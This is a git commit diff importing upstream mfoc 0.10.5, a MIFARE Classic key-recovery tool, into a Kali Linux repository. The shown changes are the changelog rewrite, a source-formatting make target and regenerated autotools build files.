Imported Upstream version 0.10.5 upstream/0.10.5
authorMati Aharoni (Kali Linux Developer) <muts@kali.org>
Sun, 24 Mar 2013 09:49:23 +0000 (05:49 -0400)
committerMati Aharoni (Kali Linux Developer) <muts@kali.org>
Sun, 24 Mar 2013 09:49:23 +0000 (05:49 -0400)
17 files changed:
ChangeLog
Makefile.am
Makefile.in
aclocal.m4
configure
configure.ac
depcomp
src/Makefile.in
src/crapto1.c
src/crapto1.h
src/crypto1.c
src/mfoc.c
src/mfoc.h
src/mifare.c
src/mifare.h
src/nfc-utils.c
src/nfc-utils.h

index 55b599d..4343eb7 100644 (file)
--- a/ChangeLog
+++ b/ChangeLog
-2011-05-18 09:18  rconty@il4p.fr
+2013-01-20  Romuald Conty <romuald@libnfc.org>
 
-       * src/mfoc.c: mfoc: improve tests made before running and show tag
-         info using print_nfc_iso14443a_info()
+       * ChangeLog: Update outdated email addresses
 
-2011-04-08 15:19  rconty@il4p.fr
+2013-01-20  Romuald Conty <romuald@libnfc.org>
 
-       * src/mfoc.c: mfoc: try to disconnect() the device on error.
+       * src/crapto1.c, src/crapto1.h, src/crypto1.c, src/mfoc.c,
+       src/mfoc.h: Format source code with "make style"
 
-2011-04-08 10:05  rconty@il4p.fr
+2013-01-20  Romuald Conty <romuald@libnfc.org>
 
-       * src/mfoc.c: mfoc: show errors then exit on mf_configure()
+       * Makefile.am: Add "make style" directive to format source code
 
-2011-04-08 09:32  rconty@il4p.fr
+2013-01-20  Romuald Conty <romuald@libnfc.org>
 
-       * src/mfoc.c: mfoc: apply a patch suggested by Valentijn Sessink.
-         See Issue 56.
+       * configure.ac, src/mfoc.c: Updates source to use libnfc 1.7.0
 
-2011-04-08 09:17  rconty@il4p.fr
+2013-01-20  Romuald Conty <romuald@libnfc.org>
 
-       * src/mfoc.c: mfoc: minors fixes and indent.
+       * src/mifare.c, src/mifare.h, src/nfc-utils.c, src/nfc-utils.h: 
+       Update mifare.* and nfc-utils.* from libnfc utils directory
 
-2011-04-08 08:54  rconty@il4p.fr
+2013-01-20  Romuald Conty <romuald@libnfc.org>
 
-       * src/mfoc.c: mfoc: show error (using nfc_perror) then exit if some
-         nfc_* functions failed on init.
+       * .gitignore: Ignore generated files in source repository
 
-2011-04-08 08:35  rconty@il4p.fr
+2012-10-14  Romuald Conty <romuald@libnfc.org>
 
-       * src/mfoc.c: mfoc: minor debug improvements.
+       * src/mfoc.c: Fix tolerance (-T) option (Fixes issue 102) Thanks to
+       fnargwibble
 
-2011-04-04 12:28  rconty@il4p.fr
+2012-06-03  Romuald Conty <romuald@libnfc.org>
 
-       * configure.ac, src/mfoc.c: mfoc: minor fixes/enhancements and
-         version bumping
+       * src/mifare.c: do not display an error when authentication failed
 
-2011-04-04 10:38  rconty@il4p.fr
+2012-06-03  Romuald Conty <romuald@libnfc.org>
 
-       * src/mfoc.c, src/mifare.c: mfoc: hide authentication errors
+       * src/mfoc.c, src/mfoc.h: use authuid instead uid name when handling
+       the authentication uid bytes (different from UID with 7bytes MIFARE
+       Classic
 
-2011-04-04 10:01  rconty@il4p.fr
+2012-06-03  Romuald Conty <romuald@libnfc.org>
 
-       * src/mifare.c, src/mifare.h, src/nfc-utils.c, src/nfc-utils.h:
-         mfoc: sync nfc-utils.h/c and mifare.c/h with libnfc's ones.
+       * src/crapto1.h, src/mfoc.c, src/mfoc.h, src/mifare.c,
+       src/mifare.h, src/nfc-utils.c, src/nfc-utils.h: some code clean up:
+       find . -name '*.[ch]' | xargs perl -pi -e 's/\t+$//; s/ +$//'
 
-2011-02-21 16:26  rtartiere@il4p.fr
+2012-06-02  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c, src/mifare.h: Allow to find default keys using 7bytes
+       UID MIFARE Classic tags
+
+2012-06-02  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c: Remove not requiered anticol and configuration, its
+       speed up default keys search
+
+2012-06-02  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c: Enhance default keys search result: '/', '\' and 'x'
+       means respectively A, B and both key(s) found.
+
+2012-06-01  Romuald Conty <romuald@libnfc.org>
+
+       * INSTALL, configure.ac, debian/control, src/Makefile.am,
+       src/crapto1.c, src/mfoc.c, src/mfoc.h, src/mifare.c: foc> source
+        code maintenance: - upgrade to last libnfc devel API  - removes various warnings  - update debian package
+
+2012-05-28  Ludovic Rousseau <ludovic.rousseau@gmail.com>
+
+       * debian/watch: Update upstream URL Closes Issue #92
+
+2012-05-22  Ludovic Rousseau <ludovic.rousseau@gmail.com>
+
+       * debian/control: Upgrade libnfc-dev version in Build-Depends: Closes Issue #91
+
+2012-05-14  Romain Tartiere <romain.tartiere@gmail.com>
+
+       * src/crapto1.h: Export lfsr_rollback_word().
+
+2012-05-14  Romain Tartiere <romain.tartiere@gmail.com>
+
+       * src/mfoc.c, src/mfoc.h: Drop unused argument.
+
+2012-05-14  Romain Tartiere <romain.tartiere@gmail.com>
+
+       * src/mfoc.c, src/mfoc.h: Fix a bunch of signed/unsigned
+       comparisons.
+
+2012-05-14  Romain Tartiere <romain.tartiere@gmail.com>
+
+       * configure.ac: Complete configure.ac.
+
+2012-05-14  Romain Tartiere <romain.tartiere@gmail.com>
+
+       * src/Makefile.am: Rely on variables set by the autotools.
+
+2012-01-26  Audrey Diacre <adiacre@il4p.fr>
+
+       * src/mfoc.c, src/mfoc.h, src/mifare.c, src/mifare.h,
+       src/nfc-utils.c, src/nfc-utils.h: update to use libnfc's trunk
+
+2011-10-17  Romuald Conty <romuald@libnfc.org>
+
+       * configure.ac, src/Makefile.am: compilation improvements (Thanks to
+       Thomas Hood)
+
+2011-09-28  Romuald Conty <romuald@libnfc.org>
+
+       * configure.ac, src/mfoc.c, src/mifare.c: Sync w/ libnfc-1.5.1
+       (Fixes Issue 79)
+
+2011-07-11  Romuald Conty <romuald@libnfc.org>
+
+       * src/nfc-utils.c: sync nfc-utils.c with libnfc trunk.
+
+2011-05-20  Romuald Conty <romuald@libnfc.org>
+
+       * debian/control, debian/watch: debian: update pam_nfc, mfoc and
+       libfreefare packages to use dh7.
+
+2011-05-20  Romuald Conty <romuald@libnfc.org>
+
+       * INSTALL, debian/control: debian: silent lintian warning
+
+2011-05-20  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c: usage output is now more standard (Thanks to Thomas
+       Hood)
+
+2011-05-20  Romuald Conty <romuald@libnfc.org>
+
+       * debian/changelog, debian/control, debian/rules: debian package now
+       use dh_autoreconf to build against svn.
+
+2011-05-19  Romuald Conty <romuald@libnfc.org>
+
+       * debian/rules: in some cases ./configure file needs to be chmoded
+       (dpkg-source -b mfoc).
+
+2011-05-19  Romuald Conty <romuald@libnfc.org>
+
+       * AUTHORS, debian/changelog, debian/compat, debian/control,
+       debian/copyright, debian/docs, debian/manpages, debian/rules,
+       debian/source/format, debian/watch: import debian files (Thanks to
+       Thomas Hood)
+
+2011-05-18  Romuald Conty <romuald@libnfc.org>
+
+       * src/Makefile.am, src/mfoc.1: add manpage (Thanks to Thomas Hood)
+
+2011-05-18  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c: read multiple keys from command line (Thanks to Frank
+       Morgner) (Fixes Issue 63)
+
+2011-05-18  Romuald Conty <romuald@libnfc.org>
+
+       * ChangeLog, configure.ac: prepare 0.10.2 release
+
+2011-05-18  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c: improve tests made before running and show tag info
+       using print_nfc_iso14443a_info()
+
+2011-04-08  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c: try to disconnect() the device on error.
+
+2011-04-08  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c: show errors then exit on mf_configure()
+
+2011-04-08  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c: apply a patch suggested by Valentijn Sessink. See
+       Issue 56.
+
+2011-04-08  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c: minors fixes and indent.
+
+2011-04-08  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c: show error (using nfc_perror) then exit if some nfc_*
+       functions failed on init.
+
+2011-04-08  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c: minor debug improvements.
+
+2011-04-04  Romuald Conty <romuald@libnfc.org>
+
+       * configure.ac, src/mfoc.c: minor fixes/enhancements and version
+       bumping
+
+2011-04-04  Romuald Conty <romuald@libnfc.org>
+
+       * src/mfoc.c, src/mifare.c: hide authentication errors
+
+2011-04-04  Romuald Conty <romuald@libnfc.org>
+
+       * src/mifare.c, src/mifare.h, src/nfc-utils.c, src/nfc-utils.h: sync
+       nfc-utils.h/c and mifare.c/h with libnfc's ones.
+
+2011-02-21  Romain Tartiere <romain.tartiere@gmail.com>
 
        * src/Makefile.am: mfox: Unbreak autotools on FreeBSD.
 
-2011-02-02 10:46  rconty@il4p.fr
+2011-02-02  Romuald Conty <romuald@libnfc.org>
 
-       * src/mfoc.c: mfoc: use strtoll() function in order to retrieve
-         64bits wide value. (Fixes Issue 55)
+       * src/mfoc.c: use strtoll() function in order to retrieve 64bits
+       wide value. (Fixes Issue 55)
 
-2010-11-18 11:20  rconty@il4p.fr
+2010-11-18  Romuald Conty <romuald@libnfc.org>
 
-       * configure.ac: mfoc: bump package version
+       * configure.ac: bump package version
 
-2010-11-18 11:18  rconty@il4p.fr
+2010-11-18  Romuald Conty <romuald@libnfc.org>
 
-       * src/nfc-utils.c, src/nfc-utils.h: mfoc: sync nfc-utils.* from
-         libnfc
+       * src/nfc-utils.c, src/nfc-utils.h: sync nfc-utils.* from libnfc
 
-2010-11-02 09:36  rconty@il4p.fr
+2010-11-02  Romuald Conty <romuald@libnfc.org>
 
        * configure.ac, src/mfoc.c, src/mfoc.h, src/nfc-utils.c,
-         src/nfc-utils.h: mfoc: upgrade code to work with develoment
-         version of libnfc (upcomming 1.4.0)
-         Update code to match with the new API;
-         Sync nfc-utils.[ch] from libnfc's repo;
-         Update ./configure to detect libnfc 1.4.0;
-
-2010-09-14 09:38  rconty@il4p.fr
-
-       * ., AUTHORS, Makefile.in, aclocal.m4, autogen.sh, config.h,
-         config.h.in, configure, configure.ac, depcomp, install-sh,
-         missing, src, src/Makefile.am, src/mfoc.c, src/mifare.c,
-         src/mifare.h, src/nfc-utils.c, src/nfc-utils.h: mfoc: update code
-         in order to use libnfc 1.3.9, minor clean up, and minor
-         enhancements.
-
-2010-09-14 09:34  rconty@il4p.fr
-
-       * ., AUTHORS, COPYING, ChangeLog, INSTALL, Makefile.am,
-         Makefile.in, NEWS, README, TODO, aclocal.m4, autogen.sh,
-         config.h, config.h.in, configure, configure.ac, depcomp,
-         install-sh, missing, src, src/Makefile.am, src/crapto1.c,
-         src/crapto1.h, src/crypto1.c, src/mfoc.c, src/mfoc.h: Import MFOC
-         0.08 from http://www.nethemba.com/mfoc.tar.bz2 on 13th Sept 2010
+       src/nfc-utils.h: upgrade code to work with develoment version of
+       libnfc (upcomming 1.4.0) Update code to match with the new API; Sync
+       nfc-utils.[ch] from libnfc's repo; Update ./configure to detect
+       libnfc 1.4.0;
+
+2010-09-14  Romuald Conty <romuald@libnfc.org>
+
+       * AUTHORS, Makefile.in, aclocal.m4, autogen.sh, config.h,
+       config.h.in, configure, configure.ac, depcomp, install-sh, missing,
+       src/Makefile.am, src/mfoc.c, src/mifare.c, src/mifare.h,
+       src/nfc-utils.c, src/nfc-utils.h: update code in order to use libnfc
+       1.3.9, minor clean up, and minor enhancements.
+
+2010-09-14  Romuald Conty <romuald@libnfc.org>
+
+       * Import MFOC 0.08 from http://www.nethemba.com/mfoc.tar.bz2 on 13th
+       Sept 2010
 
index b0326f8..1170343 100644 (file)
@@ -1,4 +1,10 @@
 SUBDIRS = src
 
-#pkgconfigdir = $(libdir)/pkgconfig
-#pkgconfig_DATA = libnfc.pc
+style:
+       find . -name "*.[ch]" -exec perl -pi -e 's/[ \t]+$$//' {} \;
+       find . -name "*.[ch]" -exec astyle --formatted --mode=c --suffix=none \
+               --indent=spaces=2 --indent-switches --indent-preprocessor \
+               --keep-one-line-blocks --max-instatement-indent=60 \
+               --brackets=linux --pad-oper --unpad-paren --pad-header \
+               --align-pointer=name {} \;
+
index e7f0159..87ca33e 100644 (file)
@@ -1,4 +1,4 @@
-# Makefile.in generated by automake 1.11.6 from Makefile.am.
+# Makefile.in generated by automake 1.11.3 from Makefile.am.
 # @configure_input@
 
 # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
 
 @SET_MAKE@
 VPATH = @srcdir@
-am__make_dryrun = \
-  { \
-    am__dry=no; \
-    case $$MAKEFLAGS in \
-      *\\[\ \  ]*) \
-        echo 'am--echo: ; @echo "AM"  OK' | $(MAKE) -f - 2>/dev/null \
-          | grep '^AM OK$$' >/dev/null || am__dry=yes;; \
-      *) \
-        for am__flg in $$MAKEFLAGS; do \
-          case $$am__flg in \
-            *=*|--*) ;; \
-            *n*) am__dry=yes; break;; \
-          esac; \
-        done;; \
-    esac; \
-    test $$am__dry = yes; \
-  }
 pkgdatadir = $(datadir)/@PACKAGE@
 pkgincludedir = $(includedir)/@PACKAGE@
 pkglibdir = $(libdir)/@PACKAGE@
@@ -78,11 +61,6 @@ RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \
        install-pdf-recursive install-ps-recursive install-recursive \
        installcheck-recursive installdirs-recursive pdf-recursive \
        ps-recursive uninstall-recursive
-am__can_run_installinfo = \
-  case $$AM_UPDATE_INFO_DIR in \
-    n|no|NO) false;; \
-    *) (install-info --version) >/dev/null 2>&1;; \
-  esac
 RECURSIVE_CLEAN_TARGETS = mostlyclean-recursive clean-recursive        \
   distclean-recursive maintainer-clean-recursive
 AM_RECURSIVE_TARGETS = $(RECURSIVE_TARGETS:-recursive=) \
@@ -448,10 +426,13 @@ distdir: $(DISTFILES)
        done
        @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \
          if test "$$subdir" = .; then :; else \
-           $(am__make_dryrun) \
-             || test -d "$(distdir)/$$subdir" \
-             || $(MKDIR_P) "$(distdir)/$$subdir" \
-             || exit 1; \
+           test -d "$(distdir)/$$subdir" \
+           || $(MKDIR_P) "$(distdir)/$$subdir" \
+           || exit 1; \
+         fi; \
+       done
+       @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \
+         if test "$$subdir" = .; then :; else \
            dir1=$$subdir; dir2="$(distdir)/$$subdir"; \
            $(am__relativize); \
            new_distdir=$$reldir; \
@@ -537,7 +518,7 @@ distcheck: dist
        *.zip*) \
          unzip $(distdir).zip ;;\
        esac
-       chmod -R a-w $(distdir); chmod u+w $(distdir)
+       chmod -R a-w $(distdir); chmod a+w $(distdir)
        mkdir $(distdir)/_build
        mkdir $(distdir)/_inst
        chmod a-w $(distdir)
@@ -725,8 +706,13 @@ uninstall-am:
        uninstall uninstall-am
 
 
-#pkgconfigdir = $(libdir)/pkgconfig
-#pkgconfig_DATA = libnfc.pc
+style:
+       find . -name "*.[ch]" -exec perl -pi -e 's/[ \t]+$$//' {} \;
+       find . -name "*.[ch]" -exec astyle --formatted --mode=c --suffix=none \
+               --indent=spaces=2 --indent-switches --indent-preprocessor \
+               --keep-one-line-blocks --max-instatement-indent=60 \
+               --brackets=linux --pad-oper --unpad-paren --pad-header \
+               --align-pointer=name {} \;
 
 # Tell versions [3.59,3.63) of GNU make to not export all variables.
 # Otherwise a system limit (for SysV at least) may be exceeded.
index 3515374..e03e3dc 100644 (file)
@@ -1,4 +1,4 @@
-# generated automatically by aclocal 1.11.6 -*- Autoconf -*-
+# generated automatically by aclocal 1.11.3 -*- Autoconf -*-
 
 # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004,
 # 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software Foundation,
@@ -14,8 +14,8 @@
 
 m4_ifndef([AC_AUTOCONF_VERSION],
   [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
-m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.69],,
-[m4_warning([this file was generated for autoconf 2.69.
+m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.68],,
+[m4_warning([this file was generated for autoconf 2.68.
 You have another version of autoconf.  It may work, but is not guaranteed to.
 If you have problems, you may need to regenerate the build system entirely.
 To do so, use the procedure documented by the package, typically `autoreconf'.])])
@@ -198,7 +198,7 @@ AC_DEFUN([AM_AUTOMAKE_VERSION],
 [am__api_version='1.11'
 dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to
 dnl require some minimum version.  Point them to the right macro.
-m4_if([$1], [1.11.6], [],
+m4_if([$1], [1.11.3], [],
       [AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl
 ])
 
@@ -214,7 +214,7 @@ m4_define([_AM_AUTOCONF_VERSION], [])
 # Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced.
 # This function is AC_REQUIREd by AM_INIT_AUTOMAKE.
 AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION],
-[AM_AUTOMAKE_VERSION([1.11.6])dnl
+[AM_AUTOMAKE_VERSION([1.11.3])dnl
 m4_ifndef([AC_AUTOCONF_VERSION],
   [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
 _AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))])
index 39e0b8b..5cebe96 100755 (executable)
--- a/configure
+++ b/configure
@@ -1,11 +1,13 @@
 #! /bin/sh
 # Guess values for system-dependent variables and create Makefiles.
-# Generated by GNU Autoconf 2.69 for mfoc 0.10.3.
+# Generated by GNU Autoconf 2.68 for mfoc 0.10.5.
 #
 # Report bugs to <mifare@nethemba.com>.
 #
 #
-# Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc.
+# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001,
+# 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010 Free Software
+# Foundation, Inc.
 #
 #
 # This configure script is free software; the Free Software Foundation
@@ -134,31 +136,6 @@ export LANGUAGE
 # CDPATH.
 (unset CDPATH) >/dev/null 2>&1 && unset CDPATH
 
-# Use a proper internal environment variable to ensure we don't fall
-  # into an infinite loop, continuously re-executing ourselves.
-  if test x"${_as_can_reexec}" != xno && test "x$CONFIG_SHELL" != x; then
-    _as_can_reexec=no; export _as_can_reexec;
-    # We cannot yet assume a decent shell, so we have to provide a
-# neutralization value for shells without unset; and this also
-# works around shells that cannot unset nonexistent variables.
-# Preserve -v and -x to the replacement shell.
-BASH_ENV=/dev/null
-ENV=/dev/null
-(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV
-case $- in # ((((
-  *v*x* | *x*v* ) as_opts=-vx ;;
-  *v* ) as_opts=-v ;;
-  *x* ) as_opts=-x ;;
-  * ) as_opts= ;;
-esac
-exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"}
-# Admittedly, this is quite paranoid, since all the known shells bail
-# out after a failed `exec'.
-$as_echo "$0: could not re-execute with $CONFIG_SHELL" >&2
-as_fn_exit 255
-  fi
-  # We don't want this to propagate to other subprocesses.
-          { _as_can_reexec=; unset _as_can_reexec;}
 if test "x$CONFIG_SHELL" = x; then
   as_bourne_compatible="if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then :
   emulate sh
@@ -192,8 +169,7 @@ if ( set x; as_fn_ret_success y && test x = \"\$1\" ); then :
 else
   exitcode=1; echo positional parameters were not saved.
 fi
-test x\$exitcode = x0 || exit 1
-test -x / || exit 1"
+test x\$exitcode = x0 || exit 1"
   as_suggested="  as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO
   as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO
   eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" &&
@@ -238,25 +214,21 @@ IFS=$as_save_IFS
 
 
       if test "x$CONFIG_SHELL" != x; then :
-  export CONFIG_SHELL
-             # We cannot yet assume a decent shell, so we have to provide a
-# neutralization value for shells without unset; and this also
-# works around shells that cannot unset nonexistent variables.
-# Preserve -v and -x to the replacement shell.
-BASH_ENV=/dev/null
-ENV=/dev/null
-(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV
-case $- in # ((((
-  *v*x* | *x*v* ) as_opts=-vx ;;
-  *v* ) as_opts=-v ;;
-  *x* ) as_opts=-x ;;
-  * ) as_opts= ;;
-esac
-exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"}
-# Admittedly, this is quite paranoid, since all the known shells bail
-# out after a failed `exec'.
-$as_echo "$0: could not re-execute with $CONFIG_SHELL" >&2
-exit 255
+  # We cannot yet assume a decent shell, so we have to provide a
+       # neutralization value for shells without unset; and this also
+       # works around shells that cannot unset nonexistent variables.
+       # Preserve -v and -x to the replacement shell.
+       BASH_ENV=/dev/null
+       ENV=/dev/null
+       (unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV
+       export CONFIG_SHELL
+       case $- in # ((((
+         *v*x* | *x*v* ) as_opts=-vx ;;
+         *v* ) as_opts=-v ;;
+         *x* ) as_opts=-x ;;
+         * ) as_opts= ;;
+       esac
+       exec "$CONFIG_SHELL" $as_opts "$as_myself" ${1+"$@"}
 fi
 
     if test x$as_have_required = xno; then :
@@ -359,14 +331,6 @@ $as_echo X"$as_dir" |
 
 
 } # as_fn_mkdir_p
-
-# as_fn_executable_p FILE
-# -----------------------
-# Test if FILE is an executable regular file.
-as_fn_executable_p ()
-{
-  test -f "$1" && test -x "$1"
-} # as_fn_executable_p
 # as_fn_append VAR VALUE
 # ----------------------
 # Append the text in VALUE to the end of the definition contained in VAR. Take
@@ -488,10 +452,6 @@ as_cr_alnum=$as_cr_Letters$as_cr_digits
   chmod +x "$as_me.lineno" ||
     { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; }
 
-  # If we had to re-execute with $CONFIG_SHELL, we're ensured to have
-  # already done that, so ensure we don't try to do so again and fall
-  # in an infinite loop.  This has already happened in practice.
-  _as_can_reexec=no; export _as_can_reexec
   # Don't try to exec as it changes $[0], causing all sort of problems
   # (the dirname of $[0] is not the place where we might find the
   # original and so on.  Autoconf is especially sensitive to this).
@@ -526,16 +486,16 @@ if (echo >conf$$.file) 2>/dev/null; then
     # ... but there are two gotchas:
     # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail.
     # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable.
-    # In both cases, we have to default to `cp -pR'.
+    # In both cases, we have to default to `cp -p'.
     ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe ||
-      as_ln_s='cp -pR'
+      as_ln_s='cp -p'
   elif ln conf$$.file conf$$ 2>/dev/null; then
     as_ln_s=ln
   else
-    as_ln_s='cp -pR'
+    as_ln_s='cp -p'
   fi
 else
-  as_ln_s='cp -pR'
+  as_ln_s='cp -p'
 fi
 rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file
 rmdir conf$$.dir 2>/dev/null
@@ -547,8 +507,28 @@ else
   as_mkdir_p=false
 fi
 
-as_test_x='test -x'
-as_executable_p=as_fn_executable_p
+if test -x / >/dev/null 2>&1; then
+  as_test_x='test -x'
+else
+  if ls -dL / >/dev/null 2>&1; then
+    as_ls_L_option=L
+  else
+    as_ls_L_option=
+  fi
+  as_test_x='
+    eval sh -c '\''
+      if test -d "$1"; then
+       test -d "$1/.";
+      else
+       case $1 in #(
+       -*)set "./$1";;
+       esac;
+       case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #((
+       ???[sx]*):;;*)false;;esac;fi
+    '\'' sh
+  '
+fi
+as_executable_p=$as_test_x
 
 # Sed expression to map a string onto a valid CPP name.
 as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'"
@@ -580,8 +560,8 @@ MAKEFLAGS=
 # Identity of this package.
 PACKAGE_NAME='mfoc'
 PACKAGE_TARNAME='mfoc'
-PACKAGE_VERSION='0.10.3'
-PACKAGE_STRING='mfoc 0.10.3'
+PACKAGE_VERSION='0.10.5'
+PACKAGE_STRING='mfoc 0.10.5'
 PACKAGE_BUGREPORT='mifare@nethemba.com'
 PACKAGE_URL=''
 
@@ -1192,6 +1172,8 @@ target=$target_alias
 if test "x$host_alias" != x; then
   if test "x$build_alias" = x; then
     cross_compiling=maybe
+    $as_echo "$as_me: WARNING: if you wanted to set the --build type, don't use --host.
+    If a cross compiler is detected then cross compile mode will be used" >&2
   elif test "x$build_alias" != "x$host_alias"; then
     cross_compiling=yes
   fi
@@ -1277,7 +1259,7 @@ if test "$ac_init_help" = "long"; then
   # Omit some internal or obsolete options to make the list less imposing.
   # This message is too long to be a string in the A/UX 3.1 sh.
   cat <<_ACEOF
-\`configure' configures mfoc 0.10.3 to adapt to many kinds of systems.
+\`configure' configures mfoc 0.10.5 to adapt to many kinds of systems.
 
 Usage: $0 [OPTION]... [VAR=VALUE]...
 
@@ -1343,7 +1325,7 @@ fi
 
 if test -n "$ac_init_help"; then
   case $ac_init_help in
-     short | recursive ) echo "Configuration of mfoc 0.10.3:";;
+     short | recursive ) echo "Configuration of mfoc 0.10.5:";;
    esac
   cat <<\_ACEOF
 
@@ -1440,10 +1422,10 @@ fi
 test -n "$ac_init_help" && exit $ac_status
 if $ac_init_version; then
   cat <<\_ACEOF
-mfoc configure 0.10.3
-generated by GNU Autoconf 2.69
+mfoc configure 0.10.5
+generated by GNU Autoconf 2.68
 
-Copyright (C) 2012 Free Software Foundation, Inc.
+Copyright (C) 2010 Free Software Foundation, Inc.
 This configure script is free software; the Free Software Foundation
 gives unlimited permission to copy, distribute and modify it.
 _ACEOF
@@ -1680,8 +1662,7 @@ int
 main ()
 {
 static int test_array [1 - 2 * !((($ac_type) -1 >> ($2 / 2 - 1)) >> ($2 / 2 - 1) == 3)];
-test_array [0] = 0;
-return test_array [0];
+test_array [0] = 0
 
   ;
   return 0;
@@ -1828,7 +1809,7 @@ $as_echo "$ac_try_echo"; } >&5
         test ! -s conftest.err
        } && test -s conftest$ac_exeext && {
         test "$cross_compiling" = yes ||
-        test -x conftest$ac_exeext
+        $as_test_x conftest$ac_exeext
        }; then :
   ac_retval=0
 else
@@ -1917,8 +1898,8 @@ cat >config.log <<_ACEOF
 This file contains any messages produced by compilers while
 running configure, to aid debugging if configure makes a mistake.
 
-It was created by mfoc $as_me 0.10.3, which was
-generated by GNU Autoconf 2.69.  Invocation command line was
+It was created by mfoc $as_me 0.10.5, which was
+generated by GNU Autoconf 2.68.  Invocation command line was
 
   $ $0 $@
 
@@ -2290,7 +2271,7 @@ do
   IFS=$as_save_IFS
   test -z "$as_dir" && as_dir=.
     for ac_exec_ext in '' $ac_executable_extensions; do
-  if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+  if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
     ac_cv_prog_CC="${ac_tool_prefix}gcc"
     $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
     break 2
@@ -2330,7 +2311,7 @@ do
   IFS=$as_save_IFS
   test -z "$as_dir" && as_dir=.
     for ac_exec_ext in '' $ac_executable_extensions; do
-  if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+  if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
     ac_cv_prog_ac_ct_CC="gcc"
     $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
     break 2
@@ -2383,7 +2364,7 @@ do
   IFS=$as_save_IFS
   test -z "$as_dir" && as_dir=.
     for ac_exec_ext in '' $ac_executable_extensions; do
-  if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+  if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
     ac_cv_prog_CC="${ac_tool_prefix}cc"
     $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
     break 2
@@ -2424,7 +2405,7 @@ do
   IFS=$as_save_IFS
   test -z "$as_dir" && as_dir=.
     for ac_exec_ext in '' $ac_executable_extensions; do
-  if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+  if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
     if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then
        ac_prog_rejected=yes
        continue
@@ -2482,7 +2463,7 @@ do
   IFS=$as_save_IFS
   test -z "$as_dir" && as_dir=.
     for ac_exec_ext in '' $ac_executable_extensions; do
-  if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+  if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
     ac_cv_prog_CC="$ac_tool_prefix$ac_prog"
     $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
     break 2
@@ -2526,7 +2507,7 @@ do
   IFS=$as_save_IFS
   test -z "$as_dir" && as_dir=.
     for ac_exec_ext in '' $ac_executable_extensions; do
-  if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
